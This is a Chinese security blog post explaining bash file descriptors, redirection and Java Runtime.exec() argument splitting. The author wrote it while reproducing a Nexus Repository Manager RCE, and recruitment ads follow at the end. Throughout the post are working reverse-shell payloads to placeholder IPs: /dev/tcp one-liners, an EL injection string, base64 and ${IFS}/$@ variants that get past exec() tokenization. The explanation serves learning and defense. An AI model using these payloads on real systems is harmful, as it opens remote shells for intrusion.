Java Runtime.exec() 执行命令与反弹shell
2022-8-15 09:55:52 Author: 白帽子(查看原文) 阅读量:303 收藏

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

前言

在自己学习复现 Nexus Repository Manager 3 RCE 漏洞的时候(CVE-2020-10199/10204  https://www.cnblogs.com/magic-zero/p/12641068.html由于自己对 Java 的 Runtime.exec() 执行命令以及反弹shell理解的太过于浅薄,使用了以下语句无法反弹shell,踩了很多坑

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1')}

此处记录一下查阅一些资料和实践后学习到的东西。如有错误,请各位师傅指正

No.2

文件描述符

Q:首先什么是文件?
A:在 Linux 下,一切皆为文件,就连键盘显示器设备都是文件,它们的输入输出都是由文件描述符控制

文件描述符 (简称 fd) :在Linux系统中,当某个程序打开文件时,操作系统返回相应的文件描述符,程序为了处理该文件必须引用此描述符。

而Linux 启动文件的时候,会默认打开三个文件描述符

✦文件描述0 表示标准输入

✦文件描述1 表示标准输出

✦文件描述2 表示标准错误

/dev/tty0 泛指当前终端

当我们需要让输出不显示在当前TTY上,而是输出到文件或者其他设备,此时我们便需要重定向

No.3

重定向

在执行命令之前,可以使用 shell 可解释的特殊符号来重定向其输入/输出。重定向允许复制、打开、关闭命令的文件句柄,使其引用不同的文件,并且可以更改命令读取和写入的文件。也就是说,先进行重定向,再执行命令

重定向按照从左到右的顺序执行

最后,若省略文件描述符,< 表示对标准输入(文件描述符0)的重定向,> 表示对标准输出(文件描述符1)的重定向

输入重定向

下文中的所有原文都是 bash 5.0 手册里写道

Redirection of input causes the file whose name results from the expansion of word to be opened for reading on file descriptor n, or the standard input (file descriptor 0) if n is not specified.

The general format for redirecting input is:

[n]< word


将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),若 n 未指定,则打开标准输入(文件描述符0)

这里,解析器先将标准输入重定向到 w.txt 文件,之后 cat 命令再从标准输入去读取指令时,由于标准输入已经重定向到了 w.txt 文件,于是就从 w.txt 文件中读取指令了。

输出重定向

Redirection of output causes the file whose name results from the expansion of word to be opened for writing on file descriptor n, or the standard output (file descriptor 1) if n is not specified. If the file does not exist it is created; if it does exist it is truncated to zero size.

The general format for redirecting output is:

[n]>[|]word

If the redirection operator is ‘>’, and the noclobber option to the set builtin has been enabled, the redirection will fail if the file whose name results from the expansion of word exists and is a regular file. If the redirection operator is ‘>|’, or the redirection operator is ‘>’ and the noclobber option is not enabled, the redirection is attempted even if the file named by word exists.


描述:将文件描述符 n 重定向到 word 指代的文件(以写的方式打开),若 n 未指定,则打开标准输出(文件描述符1)。如果重定向符号为 ">",且内置的 noclobber (防止覆盖文件) 选项开启,那么如果这个 word 指代的文件如果是一个存在的常规文件,则会重定向失败;而如果重定向符号为 ">|" 或 ">"(未开启noclobber),那么即时 word 指代的文件存在,也会尝试重定向。

$ set –o noclobber // 使noclobber变量开

$ set +o noclobber // 使noclobber变量关

标准输出和标准错误的重定向

This construct allows both the standard output (file descriptor 1) and the standard error output (file descriptor 2) to be redirected to the file whose name is the expansion of word.

There are two formats for redirecting standard output and standard error:

&>word and >&word

Of the two forms, the first is preferred. This is semantically equivalent to

>word 2>&1


描述:将标准输出与标准错误输出都定向到 word 指代的文件(以写的方式打开),两种格式意义完全相同,首选第一种。他们在语义上等同于于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出)

文件描述符的复制

[n]<&[m] / [n]>&[m]

描述:

1)就是将任何文件描述符n的内容复制到文件描述符m中,例如上面的 2>&1

n<&m 和 n>&m 是完全等价的(只是打开方式一个是读,一个是写)

2)而这里的 &,我理解为类似于指针的东西

管道

| 能将左侧命令的标准输出连接到右侧命令的标准输入。也就是说,它创建一个特殊的文件,即管道,将其左边命令以写为目的打开文件并作为右边命令的源输入进行读取

No.4

反弹shell的实质

打开/dev/tcp这个文件特殊文件,就类似于发出一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据

例如:

ls 和 ceshi 是由左边的终端输入的

而我们的反弹shell其实就需要把我们的输入输出重定向到这个特殊文件上来,我们来看看平常使用了bash反弹的语句

1) bash -i >& /dev/tcp/ip/port 0>&1

这句话来讲

bash -i 是获取一个交互式bash

>& /dev/tcp/ip/port 是将标准输出和错误重定向到/dev/tcp/ip/port文件中

1> /dev/tcp/ip/port

   2>&1

0>&1

2) bash -i >&/dev/tcp/ip/port<&1

这个和上一个同理, 0>&1 和 0<&1 完全等价

3) exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done

以读写的方式打开文件,并将文件描述符5重定向到/dev/tcp/ip/port,同时我们就便能通过这个文件操作符对socket连接进行操作

将标准输入重定向到文件描述符5中,然后cat读取,同时作为后面命令的输入。随后便是循环读取,并赋值给line,将line执行的标准输出和标准错误输出重定向到文件操作符5指代的/dev/tcp/ip/port文件

No.5

Runtime.exec() 理解

通过查阅资料和自己实践发现,exec方法总共六个重载方法

public Process exec(String command) throws IOException {        

    return exec(command, null, null);
}

public Process exec(String command, String[] envp) throws IOException {        

    return exec(command, envp, null);
}

public Process exec(String command, String[] envp, File dir)
    throws IOException {        

    if (command.length() == 0)            

        throw new IllegalArgumentException("Empty command");
    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];        

    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();        

    return exec(cmdarray, envp, dir);
}

public Process exec(String cmdarray[]) throws IOException { 

    return exec(cmdarray, null, null);
}

public Process exec(String[] cmdarray, String[] envp) throws IOException {       

    return exec(cmdarray, envp, null);
}

public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {        

    return new ProcessBuilder(cmdarray)
           .environment(envp)
           .directory(dir)
           .start();
}

但不管哪个方法,最后都是调用执行 exec(String[] cmdarray, String[] envp, File dir)

首先来看我调用的 exec(String command) ,它经过 exec(String command, String[] envp, File dir) 函数里 StringTokenizer 通过分割符进行分割。java 默认的分隔符是空格("")、制表符(\t)、换行符(\n)、回车符(\r)。最后存入字符串数组,再传入执行函数。

而它的底层也是调用的 ProcessBuilder 创建进程,而 array[0] 其实就是进程位置

在经过查阅资料,我发现直接传入字符串之所以不能 执行命令,主要有这几个原因。:

1、重定向和管道符的使用方式在正在启动的进程的中没有意义。 这是什么意思呢?例如,ls > dir_listing 在shell中执行为将当前目录的列表输出到命名为 dir_listing 。但是在 exec() 函数的中,该命令为解释为获取 > 和 dir_listing 目录的列表。

换句话来讲,就是重定向和管道符,需要在我们诸如 bash 的环境下才有意义。所以我们需要将 /bin/bash 赋予给 array[0] 来调用 bash 进程。

2、参数无法界定范围。 当在你直接传入 exec("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1'") 整个字符串后。会经过 StringTokenizer 进行分割,会变成

"bash" "-c" "'bash" "-i" ">&" "/dev/tcp/xx.xx.xx.xx/6543" "0>&1"

这会导致参数无法界定。比如我们此处解析的参数就是 -c 'bash 。

也就是说我们这里的参数 -c 的值,需要不让他做分割。

No.6

执行方法

1、传入数组执行

回过头来看我们 exec() 的重载方法,发现如果是传入数组的话 exec(cmdarray[]) ,它并不会进行分割的,所以反弹shell是可以采用的

exec(new String[]{"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1")

但是我在执行这句命令的时候,由于我复现的漏洞是根据一个EL表达式来执行的。我键入 {} 以后便不会执行命令,原因我猜测是因为以 } 结尾后,导致语句出错,便不执行。

而网上的另一种写法,我反正本地是一红到底

exec(["/bin/bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1"] as String[])

也就是我们这里暂时是没法传入数组的,需要只传入一个cmd参数 Runtime.getRuntime().exec(String cmd)

2、传入字符串执行

在上文探讨到,为了让他能正常执行,需要正确的界定 -c 参数,也就是说需要让我们最后需要执行的命令不进行分割。

base64

bash 是支持 base64 编码解码的,所以可以采用,来进行反弹。但是这里同上,存在 {},所以弃用这个方法

exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

IFS

IFS The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ''.

在 bash 中 IFS 是内部域分隔符,其默认值为空白(包括:空格,tab, 和换行)

尝试构造payload:

bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1

但是这样会报不明确的重定向的错误,然后我尝试将所有重定向前后的 ${IFS} 去掉,利用 0>&1 等价于 0<&1 再来构造,就能成功反弹shell了

bash${IFS}-i>&/dev/tcp/ip/port<&1

这里的{}使用来做截断使用的,例如cat$IFSt.txt,$IFSt被当作了变量名。

而再在$IFS后面加$也可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,这里始终为空字符串。

我们这里 ${IFS} 和 $IFS$9 都是相同的作用,所以直接替换就行了。

bash$IFS$9-i>&/dev/tcp/ip/port<&1

这里便成功执行出来了。

[email protected] $*

[email protected]代表传入参数的列表 ,$* 以字符串方式显示所有传入的参数

例如

/bin/bash -c '[email protected]|bash' 'xxx' 'echo' 'ls'

[email protected]|bash 就相当于获取到的参数作为bash的输入

而这里的由于 $* [email protected] 只会从脚本里读取参数,所以这里把 xxx 解释为脚本名

也就是说,这里的

'[email protected]|bash' 'xxx' 'echo' 'ls'
执行的是:
echo 'ls'|bash

所以我们便能通过这个来构造我们的反弹shell了(这里是docker靶机的IP,各位不用担心漏IP了)

No.7

总结

总的来说,根据查阅资料和自己实践,收获了很多知识。

特别感谢 spoock(https://blog.spoock.com/)  、K0rz3n(https://www.k0rz3n.com/) 两位大佬的文章,看了大佬的分析后才学到了这么多东西,少走很多弯路。

No.8

参考文献

Bash Hackers Wiki

(https://wiki.bash-hackers.org/howto/redirection_tutorial)

Bash Reference Manual

(https://www.gnu.org/software/bash/manual/bash.html)

Linux反弹shell(一)文件描述符与重定向

(https://xz.aliyun.com/t/2548)

Linux 反弹shell(二)反弹shell的本质

(https://xz.aliyun.com/t/2549)

使用Java反弹shell

(https://blog.spoock.com/2018/11/07/java-reverse-shell/)

绕过exec获取反弹shell

(https://blog.spoock.com/2018/11/25/getshell-bypass-exec/)

java命令执行payloads

(https://x.hacking8.com/?post=293)

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 [email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

专注渗透测试技术

全球最新网络攻击技术

END


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246290&idx=1&sn=176258b8487604e95673ebdb4e817fe3&chksm=82ea573bb59dde2d34f2ad3a6863a8017978e87bcf5ccd3bfc15559fb07af74286991d86af55#rd
如有侵权请联系:admin#unsafe.sh